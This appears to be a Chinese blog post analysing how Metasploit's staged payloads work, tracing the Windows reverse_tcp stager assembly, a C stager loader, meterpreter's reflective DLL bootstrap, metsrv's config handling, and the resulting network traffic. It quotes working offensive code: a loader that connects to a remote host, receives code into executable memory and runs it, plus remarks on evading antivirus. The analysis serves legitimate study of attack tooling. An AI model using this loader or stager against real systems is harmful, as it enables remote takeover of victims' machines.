• MSF 的 payload 分析


    执行方式上有 3 种 独立 (Single)、传输器 (Stager)、传输体 (Stage),前者单独执行,后两种共同执行。也有人直接分为两种:staged 和stageless,本质上是一样的。相关实现在 modules/payloads 下
    single:独立载荷,可直接植入目标系统并执行相应的程序
    
    stager:传输器载荷,用于目标机与攻击机之间建立稳定的网络连接,与传输体载荷配合攻击。通常该种载荷体积都非常小,可以在漏洞利用后方便注入。
    
    stage:传输体载荷,如 shell、meterpreter 等。在 stager 建立好稳定的连接后,攻击机将 stage 传输给目标机,由 stagers 进行相应处理,将控制权转交给 stage。比如得到目标机的 shell,或者 meterpreter 控制程序运行。
    

    常用的就是 stager + stage ,类似 web 渗透中的小马 + 大马,重点关注一下 stager,以常用的反弹 shell 的 reverse_tcp 为例。源码地址 https://github.com/rapid7/metasploit-framework/blob/bdb729a43bfe4c178ab49cba25f022b01baed853/lib/msf/core/payload/windows/reverse_tcp.rb
      def generate_reverse_tcp(opts={})
        combined_asm = %Q^
          cld                    ; Clear the direction flag.
          call start             ; Call start, this pushes the address of 'api_call' onto the stack.
          #{asm_block_api}
          start:
            pop ebp
          #{asm_reverse_tcp(opts)}
          #{asm_block_recv(opts)}
        ^
        Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
      end
    

    重点看一下组成 shellcode 的 3 部分,asm_block_api 根据函数的 hash 搜索函数地址并调用,具体实现位于 lib/msf/core/payload/windows/block_api.rb
      def asm_block_api(opts={})
        Rex::Payloads::Shuffle.from_graphml_file(
          File.join(Msf::Config.install_root, 'data', 'shellcode', 'block_api.x86.graphml'),
          arch: ARCH_X86,
          name: 'api_call'
        )
      end
    

    asm_reverse_tcp(opts) 负责创建 TCP 连接,asm_block_recv(opts) 用来接收和处理 msf 发的数据,具体实现都在当前文件中。
    看一下实现流程,先执行 cld 确保字符串的解析方向,然后将 asm_block_api 的地址存到 ebp 中,这样只要调用 push 函数的 hash 值,接着 call ebp 就能调用这个函数。
    asm_reverse_tcp 部分就是用汇编实现了一个 tcp 的连接,大致流程:
    push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
    push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
    push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
    push #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')}
    push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
    

    asm_block_recv 部分实现,先接收 4 字节的 length ,直接调用 VirtualAlloc 分配有 RWX 权限的内存用于保存 payload(会被杀软检测!)
    recv:
    ; Receive the size of the incoming second stage...
    push byte 0 ; flags
    push byte 4 ; length = sizeof( DWORD );
    push esi               ; the 4 byte buffer on the stack to hold the second stage length
    push edi               ; the saved socket
    push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
    call ebp               ; recv( s, &dwLength, 4, 0 );
    ; Alloc a RWX buffer for the second stage
    mov esi, [esi]         ; dereference the pointer to the second stage length
    push byte 0x40 ; PAGE_EXECUTE_READWRITE
    push 0x1000 ; MEM_COMMIT
    push esi               ; push the newly recieved second stage length.
    push byte 0 ; NULL as we dont care where the allocation is.
    push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
    call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
    

    这一部分就是 windows 下 shellcode 的常规写法然后连续 xchg ebx, eax;push ebx 将这段内存地址(也就是 payload 地址)压入栈中,最后通过 ret 弹出,最后进入该地址执行。
    ; Receive the second stage and execute it...
    xchg ebx, eax          ; ebx = our new memory address for the new stage
    push ebx               ; push the address of the new stage so we can return into it
    read_more:               ;
    push byte 0 ; flags
    push esi               ; length
    push ebx               ; the current address into our second stage's RWX buffer
    push edi               ; the saved 
    push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
    call ebp               ; recv( s, buffer, length, 0 );
    add ebx, eax           ; buffer += bytes_received
    sub esi, eax           ; length -= bytes_received, will set flags
    jnz read_more          ; continue if we have more to read
    ret                    ; return into the second stage
    

    这里有个很有意思的地方,edi保存的是socket,原因是为什么可以先放一下。
    除了 msf 自带的,还有 cs 作者写的 metasploit-loader https://github.com/rsmudge/metasploit-loader,用 C 写的比较容易理解,但实际上和 msf 自带的在流程上没有什么区别。
    //主函数
    int main(int argc, char * argv[]) {
        ULONG32 size;
        char * buffer;
        //创建函数指针,方便XXOO
        void (*function)();
        winsock_init(); //套接字初始化
        //获取参数,这里随便写,接不接收无所谓,主要是传递远程主机IP和端口
        //这个可以事先定义好
        if (argc != 3) {
            printf("%s [host] [port] ^__^ \n", argv[0]);
            exit(1);
        }
    
        /*连接到处理程序,也就是远程主机 */
        SOCKET my_socket = my_connect(argv[1], atoi(argv[2]));
    
        /* 读取4字节长度
        *这里是meterpreter第一次发送过来的
        *4字节缓冲区大小2E840D00,大小可能会有所不同,当然也可以自己丢弃,自己定义一个大小
        */
        //是否报错
        //如果第一次不是接收的4字节那么就退出程序
        int count = recv(my_socket, (char *)&size, 4, 0);
        if (count != 4 || size <= 0)
            punt(my_socket, "read length value Error\n");
    
        /* 分配一个缓冲区 RWX buffer */
        buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        if (buffer == NULL)
            punt(my_socket, "could not alloc buffer\n");
    
        /* 
        *SOCKET赋值到EDI寄存器,装载到buffer[]中
        */
        //mov edi
        buffer[0] = 0xBF;
    
        /* 把我们的socket里的值复制到缓冲区中去*/
        memcpy(buffer + 1, &my_socket, 4);
    
        /* 读取字节到缓冲区
        *这里就循环接收DLL数据,直到接收完毕
        */
        count = recv_all(my_socket, buffer + 5, size);
    
        /* 将缓冲区作为函数并调用它。
        * 这里可以看作是shellcode的装载,
        * 因为这本身是一个DLL装载器,完成使命,控制权交给DLL,
        * 但本身不退出,除非迁移进程,靠DLL里函数,DLL在DLLMain里是循环接收指令的,直到遇到退出指令,
        * (void (*)())buffer的这种用法经常出现在shellcode中
        */
        function = (void (*)())buffer;
        function();
        return 0;
    }
    

    这里也出现了同样的问题,需要将 SOCKET 赋值到 edi 寄存器,装载到buffer[]中,和前面一样。
  • Meterpreter payload 分析


    在 staged 模式下,meterpreter 提供 stage,也就是具体的 payload,具体的实现使用了大量的反射 dll 注入技术,不会再磁盘上留下任何文件,直接载入内存,可以很好的规避杀软,而我们前文分析的 stager 文件则有很多特征,通常需要做免杀处理。
    扯远了,这里看 msf 中的具体实现,在 lib/msf/core/payload/windows/meterpreter_loader.rb 中的 stage_meterpreter 函数中
     def stage_meterpreter(opts={})
        # Exceptions will be thrown by the mixin if there are issues.
        dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x86.dll'))    #读取 metsrv.x86.dll
    
        asm_opts = {
          rdi_offset: offset,
          length:     dll.length,
          stageless:  opts[:stageless] == true
        }
    
        asm = asm_invoke_metsrv(asm_opts)   # 生成字节码
    
        # generate the bootstrap asm
        bootstrap = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
    
        # sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
        if bootstrap.length > 62
          raise RuntimeError, "Meterpreter loader (x86) generated an oversized bootstrap!"
        end
        # 这一部分都是检查
        # patch the bootstrap code into the dll's DOS header...
        dll[ 0, bootstrap.length ] = bootstrap  # 替换 dll 头
    
        dll
      end
    

    挨个函数看,首先是 load_rdi_dll,读取了这个 dll 文件,返回文件和对应偏移量,这个 offset 对应的是 ReflectiveLoader导出函数的地址
      def load_rdi_dll(dll_path, loader_name: 'ReflectiveLoader', loader_ordinal: EXPORT_REFLECTIVELOADER)
        dll = ''
        ::File.open(dll_path, 'rb') { |f| dll = f.read }
    
        offset = parse_pe(dll, loader_name: loader_name, loader_ordinal: loader_ordinal)
    
        unless offset
          raise "Cannot find the ReflectiveLoader entry point in #{dll_path}"
        end
    
        return dll, offset
      end
    

    这个 offset 直接被传入了 asm_invoke_metsrv 中,首先是构造 MZ 头
      def asm_invoke_metsrv(opts={})
        asm = %Q^
            ; prologue
              dec ebp               ; 'M'
              pop edx               ; 'Z'
    

    这里的部分就是反射 dll 技术,加载 dll 到自身内存,最后返回 dllmain 的函数地址,存在 eax 中
              call $+5              ; call next instruction
              pop ebx               ; get the current location (+7 bytes)
              push edx              ; restore edx
              inc ebp               ; restore ebp
              push ebp              ; save ebp for later
              mov ebp, esp          ; set up a new stack frame
            ; Invoke ReflectiveLoader()
              ; add the offset to ReflectiveLoader() (0x????????)
              add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
              call ebx              ; invoke ReflectiveLoader()
            ; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
              ; offset from ReflectiveLoader() to the end of the DLL
              add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
        ^
    

    这里的 edi 中存着的就是 socket 的地址,在前面的这句
    add ebx, #{"0x%.8x" % (opts[:rdi_offset] - 7)}
    

    代码中,ebx 指向的是在 dll 加载空间的末尾,也就是说现在 socket 的地址被放到了 dll 加载空间的末尾。
     unless opts[:stageless] || opts[:force_write_handle] == true
          asm << %Q^
              mov [ebx], edi        ; write the current socket/handle to the config
          ^
        end
        # 
    

    前面提到过,eax 中存的是 dllmain 函数,在这里调用
        asm << %Q^
              push ebx              ; push the pointer to the configuration start
              push 4                ; indicate that we have attached
              push eax              ; push some arbitrary value for hInstance
              call eax              ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
        ^
      end
    

    ebx 中是什么还不知道,前面这只是生成 payload 的前半部分,在 stage_payload 中可以看出后面还加上了一些配置信息
      def stage_payload(opts={})
        stage_meterpreter(opts) + generate_config(opts)
    

    持续跟进 generate_config 函数,其中主要的操作就是将各种配置转化为字节码,在 session_block 和 transport_block 函数中,发现这里给有一段区域填充了 8 位的 0,给 socket 留了位置。
    也就是说在 mov edi, &socket 之后,ebx 指向的那块内存就从之前的 8 位 0,变成了 socket,从而让 ebx 指向了 socket 的地址。
        session_data = [
          0,                  # comms socket, patched in by the stager
          exit_func,          # exit function identifer
          opts[:expiration],  # Session expiry
          uuid,               # the UUID
          session_guid        # the Session GUID
        ]
    
        session_data.pack('QVVA*A*')
    

    放两张参考文献中的 dalao 的调试图:
    1106918-20200509173728840-254478172
    1106918-20200509173741504-441507510
    (ebx -> 006CAC05 -> 0150[socket] <- edi)
  • 反射 dll 分析


    相关代码在 https://github.com/rapid7/metasploit-payloads 中,看一下生成这个 metsrv.dll 的 metsrv.c
    BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
    {
        BOOL bReturnValue = TRUE;
    
        switch (dwReason)
        {
        case DLL_METASPLOIT_ATTACH:
            bReturnValue = Init((MetsrvConfig*)lpReserved);
            break;
        case DLL_QUERY_HMODULE:
            if (lpReserved != NULL)
                *(HMODULE*)lpReserved = hAppInstance;
            break;
        case DLL_PROCESS_ATTACH:
            hAppInstance = hinstDLL;
            break;
        case DLL_PROCESS_DETACH:
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
            break;
        }
        return bReturnValue;
    }
    

    看一下 stage 中的调用 dllmain 的过程,其中 DLL_METASPLOIT_ATTACH 函数在 metsrv.c 中,而 config_ptr 传递的是前面的 push ebx,也就是 socket 句柄所在地址的那段数据的起始地址。
    call eax              ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
    

    在 DLL_METASPLOIT_ATTACH 分支中,会将 ebx 指向的这段地址中的数据转为 MetsrvConfig 结构体。
    typedef struct _MetsrvConfig
    {
        MetsrvSession session;
        MetsrvTransportCommon transports[1];  ///! Placeholder
    } MetsrvConfig;
    

    将这段内存(本来也是生成的 config)重新转化为 MetsrvConfig 类型,其中的变量在 payload 的生成选项里都有。
    既然发生了类型转换,那就看一下 edi 指向的这个 socket 在转换后被分配到了哪个变量。
     union
        {
            UINT_PTR handle;
            BYTE padding[8];
        } comms_handle;                       ///! Socket/handle for communications (if there is one).
    

    继续跟进 comms_handle,可以发现对这个联合体的调用都在 metsrv/server_setup.c 中,其中的 server_setup 函数在完成类型转换之后的 Init 中被调用。看一下调用了 comms_handle 的部分。
    ...
    dprintf("[SESSION] Comms handle: %u", config->session.comms_handle);
    ...
    
    dprintf("[DISPATCH] Transport handle is %p", (LPVOID)config->session.comms_handle.handle);
    if (remote->transport->set_handle)
    {
        remote->transport->set_handle(remote->transport, config->session.comms_handle.handle);
    }
    

    重点在这一句,将 remote->transport 设置为之前创建的 socket
    remote->transport->set_handle(remote->transport, config->session.comms_handle.handle);
    

    剩下的就是建立 tcp 连接的过程了,用的是前面创建的 socket 句柄。
  • 流量分析


    由 msf 发的包分 3 部分,首先是 4 字节的长度
    image-20220321113912197
    第二部分是修改了 DOS 头部的 metsrv.x86.dll,可以看到 MZ 头和 PE 头
    image-20220321114016082
    第三部分是配置数据
    image-20220321114254291
  • 参考文献


标签: none

添加新评论